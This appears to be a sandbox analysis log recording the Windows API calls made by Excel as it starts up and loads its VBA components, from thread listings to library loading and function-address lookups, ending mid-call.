# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 18 2020 07:49:07 # Log Creation Date: 26.02.2020 17:40:08.293 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe" page_root = "0xe0d2000" os_pid = "0xa84" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x458" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xd08 Thread: id = 2 os_tid = 0xd04 Thread: id = 3 os_tid = 0xd00 Thread: id = 4 os_tid = 0xcfc Thread: id = 5 os_tid = 0xcf8 Thread: id = 6 os_tid = 0xcf4 Thread: id = 7 os_tid = 0xcf0 Thread: id = 8 os_tid = 0xce4 Thread: id = 9 os_tid = 0xce0 Thread: id = 10 os_tid = 0xcdc Thread: id = 11 os_tid = 0xcd8 Thread: id = 12 os_tid = 0xcd4 Thread: id = 13 os_tid = 0xcd0 Thread: id = 14 os_tid = 0xccc Thread: id = 15 os_tid = 0xc14 Thread: id = 16 os_tid = 0xc10 Thread: id = 17 os_tid = 0xc0c Thread: id = 18 os_tid = 0xc08 Thread: id = 19 os_tid = 0xc04 Thread: id = 20 os_tid = 0x238 Thread: id = 21 os_tid = 0xb0 Thread: id = 22 os_tid = 0x7d0 Thread: id = 23 os_tid = 0x1c4 Thread: id = 24 os_tid = 0x7fc Thread: id = 25 os_tid = 0x398 Thread: id = 26 os_tid = 0xb54 Thread: id = 27 os_tid = 0xb88 Thread: id = 28 os_tid = 0xbc8 Thread: id = 29 os_tid = 0x550 Thread: id = 30 os_tid = 0xbcc Thread: id = 31 os_tid = 0xbd8 Thread: id = 32 os_tid = 0xbd4 Thread: id = 33 os_tid = 0xbd0 Thread: id = 34 os_tid = 0xbdc [0065.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x170b60 | out: lpSystemTimeAsFileTime=0x170b60*(dwLowDateTime=0xebf72300, dwHighDateTime=0x1d5eccb)) [0065.032] GetCurrentProcessId () returned 0xa84 [0065.032] GetCurrentThreadId () returned 0xbdc [0065.032] GetTickCount () returned 0x114bd18 [0065.032] QueryPerformanceCounter (in: lpPerformanceCount=0x170b68 | out: lpPerformanceCount=0x170b68*=14587382853) returned 1 [0065.036] __dllonexit () returned 0x2906a868800003ff [0065.037] __dllonexit () returned 0x2906be5a800003ff [0065.040] __dllonexit () returned 0x2906bfcc800003ff [0065.041] __dllonexit () returned 0x2906b022800003ff [0065.042] __dllonexit () returned 0x2906bfe0800003ff [0065.042] __dllonexit () returned 0x2906bf90800003ff [0065.043] __dllonexit () returned 0x2906bf80800003ff [0065.043] __dllonexit () returned 0x2906bfb0800003ff [0065.044] __dllonexit () returned 0x2906bfa0800003ff [0065.044] __dllonexit () returned 0x2906bf50800003ff [0065.045] __dllonexit () returned 0x2906bf40800003ff [0065.045] __dllonexit () returned 0x2906bf70800003ff [0065.046] __dllonexit () returned 0x2906bf60800003ff [0065.046] __dllonexit () returned 0x2906bf10800003ff [0065.047] __dllonexit () returned 0x2906bf00800003ff [0065.047] __dllonexit () returned 0x2906bf30800003ff [0065.047] __dllonexit () returned 0x2906bf20800003ff [0065.048] __dllonexit () returned 0x2906b938800003ff [0065.049] __dllonexit () returned 0x2906a800800003ff [0065.050] __dllonexit () returned 0x2906a838800003ff [0065.050] __dllonexit () returned 0x2906a828800003ff [0065.050] __dllonexit () returned 0x2906b7c0800003ff [0065.051] __dllonexit () returned 0x2906b7f8800003ff [0065.051] __dllonexit () returned 0x2906b7e6800003ff [0065.053] DisableThreadLibraryCalls (hLibModule=0x7fee5900000) returned 1 [0065.053] GetVersion () returned 0x1db10106 [0065.053] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0065.053] GetUserDefaultLCID () returned 0x409 [0065.053] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0065.053] GetSystemMetrics (nIndex=5) returned 1 [0065.053] GetSystemMetrics (nIndex=6) returned 1 [0065.053] GetSystemMetrics (nIndex=11) returned 32 [0065.053] GetSystemMetrics (nIndex=12) returned 32 [0065.053] GetSystemMetrics (nIndex=34) returned 132 [0065.053] GetSystemMetrics (nIndex=35) returned 38 [0065.053] GetSystemMetrics (nIndex=0) returned 1440 [0065.053] GetSystemMetrics (nIndex=1) returned 900 [0065.053] GetSystemMetrics (nIndex=32) returned 4 [0065.053] GetSystemMetrics (nIndex=33) returned 4 [0065.053] GetSystemMetrics (nIndex=4) returned 22 [0065.053] GetSystemMetrics (nIndex=42) returned 0 [0065.053] GetStockObject (i=15) returned 0x188000b [0065.053] GetStockObject (i=7) returned 0x1b00017 [0065.053] GetStockObject (i=6) returned 0x1b00018 [0065.053] GetStockObject (i=8) returned 0x1b00016 [0065.053] GetStockObject (i=4) returned 0x1900011 [0065.053] GetStockObject (i=2) returned 0x1900012 [0065.054] GetStockObject (i=0) returned 0x1900010 [0065.054] GetStockObject (i=5) returned 0x1900015 [0065.054] GetStockObject (i=13) returned 0x18a002e [0065.054] GetDC (hWnd=0x0) returned 0x6010b42 [0065.054] GetDeviceCaps (hdc=0x6010b42, index=14) returned 1 [0065.054] GetDeviceCaps (hdc=0x6010b42, index=12) returned 32 [0065.054] GetDeviceCaps (hdc=0x6010b42, index=88) returned 96 [0065.054] GetDeviceCaps (hdc=0x6010b42, index=90) returned 96 [0065.054] GetDeviceCaps (hdc=0x6010b42, index=38) returned 32409 [0065.054] ReleaseDC (hWnd=0x0, hDC=0x6010b42) returned 1 [0065.054] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee5cdba60 | out: ppMalloc=0x7fee5cdba60*=0x7fefecb5380) returned 0x0 [0065.159] malloc (_Size=0x140) returned 0xc4323f0 [0065.160] GetModuleHandleA (lpModuleName=0x0) returned 0x13f8c0000 [0065.161] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee5cda048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x171c00, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x171c00, pcbWrittenOrRequired=0x0) returned 1 [0065.161] ActivateActCtx (in: hActCtx=0xadf6928, lpCookie=0x171bf0 | out: hActCtx=0xadf6928, lpCookie=0x171bf0) returned 1 [0065.161] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x171c10 | out: ReturnedData=0x171c10) returned 1 [0065.161] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc420000 [0065.162] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c1d) returned 1 [0065.162] RegisterClassA (lpWndClass=0x171f40) returned 0x8f9f083fc1df [0065.163] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c1e) returned 1 [0065.165] wcscpy_s (in: _Destination=0x79b8f30, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0065.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", cchWideChar=77, lpMultiByteStr=0xc432540, cbMultiByte=154, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", lpUsedDefaultChar=0x0) returned 77 [0065.168] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee5ce1418 | out: phModule=0x7fee5ce1418*=0x7fef9d70000) returned 1 [0065.169] GetProcAddress (hModule=0x7fef9d70000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fef9df3b3c [0065.169] GetProcAddress (hModule=0x7fef9d70000, lpProcName="MsiGetProductCodeA") returned 0x7fef9dea13c [0065.169] GetProcAddress (hModule=0x7fef9d70000, lpProcName="MsiReinstallFeatureA") returned 0x7fef9df1618 [0065.170] GetProcAddress (hModule=0x7fef9d70000, lpProcName="MsiProvideComponentA") returned 0x7fef9def088 [0065.197] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0065.197] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0065.197] lstrcpyW (in: lpString1=0x171cc0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0065.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x171bb0, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68 [0065.198] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0065.202] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee5660000 [0066.225] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c1f) returned 1 [0066.225] GetLastError () returned 0x0 [0066.226] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee57672c0 [0066.226] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoVbaInitSecurity") returned 0x7fee56d60b0 [0066.227] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee5681a60 [0066.228] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee56d5f50 [0066.228] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFInitOffice") returned 0x7fee567f000 [0066.229] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoUninitOffice") returned 0x7fee566e860 [0066.230] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFGetFontSettings") returned 0x7fee5663fc0 [0066.230] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoRgchToRgwch") returned 0x7fee5672380 [0066.231] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee5667b80 [0066.231] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee5667b20 [0066.232] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFCreateControl") returned 0x7fee5668730 [0066.233] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFLongLoad") returned 0x7fee57a3260 [0066.233] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFLongSave") returned 0x7fee57a3280 [0066.234] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFGetTooltips") returned 0x7fee5671f40 [0066.235] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFSetTooltips") returned 0x7fee56d6370 [0066.235] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee56c4590 [0066.236] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee56655b0 [0066.236] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoHpalOffice") returned 0x7fee5670240 [0066.237] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFWndProcNeeded") returned 0x7fee5663d10 [0066.237] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFWndProc") returned 0x7fee5666d30 [0066.238] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee5663d40 [0066.239] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoDestroyITFC") returned 0x7fee566e6f0 [0066.239] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee566df40 [0066.240] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFGetComponentManager") returned 0x7fee5667bf0 [0066.240] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee566fcd0 [0066.241] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee5668b20 [0066.242] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoHrRegisterAll") returned 0x7fee5762ef0 [0066.242] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFSetComponentManager") returned 0x7fee56742c0 [0066.243] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee5663e20 [0066.243] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee566ab10 [0066.244] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoPeekMessage") returned 0x7fee566a7d0 [0066.245] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFCreateIPref") returned 0x7fee5661550 [0066.245] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoDestroyIPref") returned 0x7fee566e830 [0066.246] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoChsFromLid") returned 0x7fee56613d0 [0066.247] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoCpgFromChs") returned 0x7fee5666660 [0066.247] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoSetLocale") returned 0x7fee5661500 [0066.248] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee5663dd0 [0066.248] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee57671e0 [0066.249] GetProcAddress (hModule=0x7fee5660000, lpProcName="MsoGetControlInstanceId") returned 0x7fee5736d10 [0066.250] GetProcAddress (hModule=0x7fee5660000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee57a98e0 [0066.250] GetProcAddress (hModule=0x7fee5660000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee57a9830 [0066.253] malloc (_Size=0x48) returned 0xc4325f0 [0066.253] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x171ca0, nSize=0x118 | out: lpBuffer="¯\x01") returned 0x0 [0066.253] SetErrorMode (uMode=0x8001) returned 0x8001 [0066.253] GetModuleFileNameA (in: hModule=0x7fee5900000, lpFilename=0x1719b0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] lstrcpyA (in: lpString1=0x1718a0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0066.254] strcpy_s (in: _Dst=0x171ac0, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0066.254] _ultoa_s (in: _Val=0x409, _DstBuf=0x171620, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0066.254] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0066.254] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0066.255] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0066.255] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0066.255] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x1714d0, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0066.255] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0066.257] strcpy_s (in: _Dst=0x171750, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0066.257] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fef90c0000 [0066.261] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c20) returned 1 [0066.261] GetSystemDefaultLCID () returned 0x409 [0066.262] GetUserDefaultLCID () returned 0x409 [0066.262] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x171de0, cchData=2 | out: lpLCData=".") returned 2 [0066.262] GetStockObject (i=13) returned 0x18a002e [0066.262] GetObjectA (in: h=0x18a002e, c=60, pv=0x171d80 | out: pv=0x171d80) returned 60 [0066.262] lstrcpyA (in: lpString1=0x7fee5ce1b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0066.262] lstrcpyA (in: lpString1=0x7fee5ce0b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0066.263] GetModuleFileNameA (in: hModule=0x7fee5900000, lpFilename=0x171e20, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0066.264] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0066.264] lstrcpyA (in: lpString1=0xcadc4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0066.264] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x171cb0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0066.264] GetVersionExA (in: lpVersionInformation=0x171d10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x171d10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.264] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x171c38 | out: phkResult=0x171c38*=0xd06) returned 0x0 [0066.265] strcpy_s (in: _Dst=0x171c40, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0066.265] strcpy_s (in: _Dst=0x171cc0, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0066.265] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0066.265] RegQueryValueA (in: hKey=0xd06, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x171cc0, lpcbData=0x171c30 | out: lpData="\x0f}\x02\x01", lpcbData=0x171c30) returned 0x2 [0066.266] RegCloseKey (hKey=0xd06) returned 0x0 [0066.266] OleInitialize (pvReserved=0x0) returned 0x1 [0066.266] OaBuildVersion () returned 0x321396 [0066.266] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7fefdea0000 [0066.267] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c21) returned 1 [0066.267] GetLastError () returned 0x0 [0066.267] GetProcAddress (hModule=0x7fefdea0000, lpProcName="SysFreeString") returned 0x7fefdea1320 [0066.268] GetProcAddress (hModule=0x7fefdea0000, lpProcName="LoadTypeLib") returned 0x7fefdeaf1e0 [0066.269] GetProcAddress (hModule=0x7fefdea0000, lpProcName="RegisterTypeLib") returned 0x7fefdefcaa0 [0066.269] GetProcAddress (hModule=0x7fefdea0000, lpProcName="QueryPathOfRegTypeLib") returned 0x7fefdf31760 [0066.270] GetProcAddress (hModule=0x7fefdea0000, lpProcName="UnRegisterTypeLib") returned 0x7fefdf320d0 [0066.270] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleTranslateColor") returned 0x7fefdecc760 [0066.271] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleCreateFontIndirect") returned 0x7fefdefecd0 [0066.272] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleCreatePictureIndirect") returned 0x7fefdefe840 [0066.272] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleLoadPicture") returned 0x7fefdf0f420 [0066.273] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7fefdf04ec0 [0066.273] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleCreatePropertyFrame") returned 0x7fefdf09350 [0066.274] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleIconToCursor") returned 0x7fefded6e40 [0066.275] GetProcAddress (hModule=0x7fefdea0000, lpProcName="LoadTypeLibEx") returned 0x7fefdeaa550 [0066.275] GetProcAddress (hModule=0x7fefdea0000, lpProcName="OleLoadPictureEx") returned 0x7fefdf0f320 [0066.275] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0066.275] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0066.275] GetClassInfoA (in: hInstance=0x7fee5900000, lpClassName="VBBubble", lpWndClass=0x171d70 | out: lpWndClass=0x171d70) returned 0 [0066.276] RegisterClassA (lpWndClass=0x171d70) returned 0x2a4c04ecc1ec [0066.276] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c22) returned 1 [0066.276] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0066.276] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0066.276] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0066.276] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0066.276] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0066.276] GlobalAddAtomA (lpString="VBDisabled") returned 0x2a4d04ecc121 [0066.276] malloc (_Size=0x90) returned 0xcadc5e0 [0066.276] RegisterClassExA (param_1=0x171e90) returned 0x2a50059ec1ed [0066.276] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c23) returned 1 [0066.289] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee5900000, lpParam=0x0) returned 0x20360 [0066.294] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c24) returned 1 [0066.294] GetVersionExA (in: lpVersionInformation=0x171c80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x171c80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.295] GetModuleHandleA (lpModuleName="USER32") returned 0x777b0000 [0066.296] GetProcAddress (hModule=0x777b0000, lpProcName="GetSystemMetrics") returned 0x777c94f0 [0066.296] GetProcAddress (hModule=0x777b0000, lpProcName="MonitorFromWindow") returned 0x777c5f08 [0066.297] GetProcAddress (hModule=0x777b0000, lpProcName="MonitorFromRect") returned 0x777c2b00 [0066.297] GetProcAddress (hModule=0x777b0000, lpProcName="MonitorFromPoint") returned 0x777bab64 [0066.298] GetProcAddress (hModule=0x777b0000, lpProcName="EnumDisplayMonitors") returned 0x777c5c30 [0066.299] GetProcAddress (hModule=0x777b0000, lpProcName="GetMonitorInfoA") returned 0x777ba730 [0066.299] GetProcAddress (hModule=0x777b0000, lpProcName="EnumDisplayDevicesA") returned 0x777ba5b4 [0066.299] MonitorFromWindow (hwnd=0x20360, dwFlags=0x2) returned 0x10001 [0066.299] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x171e90 | out: lpmi=0x171e90) returned 1 [0066.299] SetWindowPos (hWnd=0x20360, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0066.300] GetVersion () returned 0x1db10106 [0066.301] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7fefdea0000 [0066.301] GetProcAddress (hModule=0x7fefdea0000, lpProcName="DispCallFunc") returned 0x7fefdea2270 [0066.302] GetProcAddress (hModule=0x7fefdea0000, lpProcName="LoadTypeLibEx") returned 0x7fefdeaa550 [0066.303] GetProcAddress (hModule=0x7fefdea0000, lpProcName="UnRegisterTypeLib") returned 0x7fefdf320d0 [0066.303] GetProcAddress (hModule=0x7fefdea0000, lpProcName="CreateTypeLib2") returned 0x7fefdf2dbd0 [0066.304] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarDateFromUdate") returned 0x7fefdea5c90 [0066.304] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarUdateFromDate") returned 0x7fefdea6330 [0066.305] GetProcAddress (hModule=0x7fefdea0000, lpProcName="GetAltMonthNames") returned 0x7fefdec66c0 [0066.306] GetProcAddress (hModule=0x7fefdea0000, lpProcName="VarNumFromParseNum") returned 